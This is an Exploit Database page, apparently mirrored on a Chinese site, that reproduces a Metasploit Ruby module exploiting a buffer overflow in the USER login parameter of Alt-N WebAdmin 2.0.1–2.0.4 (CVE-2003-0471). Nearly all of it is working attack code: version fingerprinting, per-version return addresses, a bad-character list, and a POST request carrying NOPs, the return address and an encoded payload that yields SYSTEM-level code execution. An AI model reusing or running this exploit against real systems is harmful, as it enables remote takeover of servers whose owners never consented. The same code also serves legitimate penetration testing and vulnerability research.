Alt-N WebAdmin – USER Buffer Overflow (Metasploit)

• Exploit Database
• 9 阅读

• 作者： Metasploit
  日期： 2010-02-15
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16776/

• ##
  # $Id: altn_webadmin.rb 8498 2010-02-15 00:48:03Z hdm $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  
  require 'msf/core'
  
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = AverageRanking
  
  	include Msf::Exploit::Remote::HttpClient
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Alt-N WebAdmin USER Buffer Overflow',
  			'Description'=> %q{
  				Alt-N WebAdmin is prone to a buffer overflow condition. This
  				is due to insufficient bounds checking on the USER
  				parameter. Successful exploitation could result in code
  				execution with SYSTEM level privileges.
  			},
  			'Author' => [ 'MC' ],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 8498 $',
  			'References' =>
  				[
  					[ 'CVE', '2003-0471' ],
  					[ 'OSVDB', '2207' ],
  					[ 'BID', '8024'],
  					[ 'NSS', '11771'],
  
  				],
  			'Privileged' => true,
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'thread',
  				},
  			'Payload'=>
  				{
  					'Space'=> 830,
  					'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
  					'StackAdjustment' => -3500,
  
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					['Automatic', {}],
  					['WebAdmin 2.0.4 Universal', { 'Ret' => 0x10074d9b }], # 2.0.4 webAdmin.dll
  					['WebAdmin 2.0.3 Universal', { 'Ret' => 0x10074b13 }], # 2.0.3 webAdmin.dll
  					['WebAdmin 2.0.2 Universal', { 'Ret' => 0x10071e3b }], # 2.0.2 webAdmin.dll
  					['WebAdmin 2.0.1 Universal', { 'Ret' => 0x100543c2 }], # 2.0.1 webAdmin.dll
  				],
  			'DefaultTarget'=> 0,
  			'DisclosureDate' => 'Jun 24 2003'))
  
  			register_options([Opt::RPORT(1000)], self.class)
  	end
  
  	def exploit
  
  		mytarget = target
  
  		if (target.name =~ /Automatic/)
  			res = send_request_raw({
  				'uri' => '/WebAdmin.DLL'
  			}, -1)
  
  			if (res and res.body =~ /WebAdmin.*v(2\..*)$/)
  				case $1
  				when /2\.0\.4/
  					mytarget = targets[1]
  				when /2\.0\.3/
  					mytarget = targets[2]
  				when /2\.0\.2/
  					mytarget = targets[3]
  				when /2\.0\.1/
  					mytarget = targets[4]
  				else
  					print_error("No target found for v#{$1}")
  					return
  				end
  			else
  				print_error("No target found")
  			end
  		end
  
  		user_cook = rand_text_alphanumeric(2)
  		post_data = 'User=' + make_nops(168) + [mytarget.ret].pack('V') + payload.encoded
  		post_data << '&Password=wtf&languageselect=en&Theme=Heavy&Logon=Sign+In'
  
  		print_status("Sending request...")
  		res = send_request_cgi({
  			'uri'=> '/WebAdmin.DLL',
  			'query'=> 'View=Logon',
  			'method' => 'POST',
  			'content-type' => 'application/x-www-form-urlencoded',
  			'cookie' => "User=#{user_cook}; Lang=en; Theme=standard",
  			'data' => post_data,
  			'headers'=>
  			{
  				'Accept'=> 'image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png',
  				'Accept-Language' => 'en',
  				'Accept-Charset'=> 'iso-8859-1,*,utf-8'
  			}
  		}, 5)
  
  		handler
  	end
  
  end